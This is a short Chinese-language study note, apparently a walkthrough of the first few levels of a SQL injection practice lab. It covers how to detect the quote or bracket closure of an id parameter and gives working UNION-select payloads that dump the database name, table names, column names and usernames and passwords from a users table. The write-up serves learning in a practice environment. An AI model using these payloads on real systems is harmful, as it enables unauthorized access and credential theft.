哦~原来这几关都是判断闭合方式的,
判断方式:
1.?id=1'和?id=1"测试:谁报错跟谁相关
两个都报错:大概率为无闭合
单引号报错双引号不报错:肯定跟单引号有关闭合
测试?id=1'-- -不报错为单引号闭合,报错如果?id=1')-- -不报错为')闭合
双引号报错单引号不报错同理。
2.用\转义符查看(有报错信息的话),\后面跟什么就是什么闭合
第三关为例:
?id=1'报错 ?id=1"不报错:肯定跟'有关
?id=1'-- -报错 不是单引号闭合
?id=1') -- -不报错:’)闭合。
第二关:
id=1' 和id=1"都报错:无闭合
尝试看需要select几个字段
跟第一关好像没什么区别了(第一关需要闭合为字符型注入,第二关不闭合为数字型注入)
之后发现他是limite(0,1),简单,让id查不到就行
?id=-1 union select 1,database(),2-- -
爆表名:
?id=-1 union select 1,group_concat(table_name),2 from information_schema.tables where table_schema='security'-- -
爆字段名
?id=-1 union select 1,group_concat(column_name),2 from information_schema.columns where table_name='users'-- -
跟第一关一样了。
?id=-1 union select 1,group_concat(username),group_concat(password) from users-- -
第三关:
后续不多说
第四关:
?id=1")-- -不报错,闭合方式为")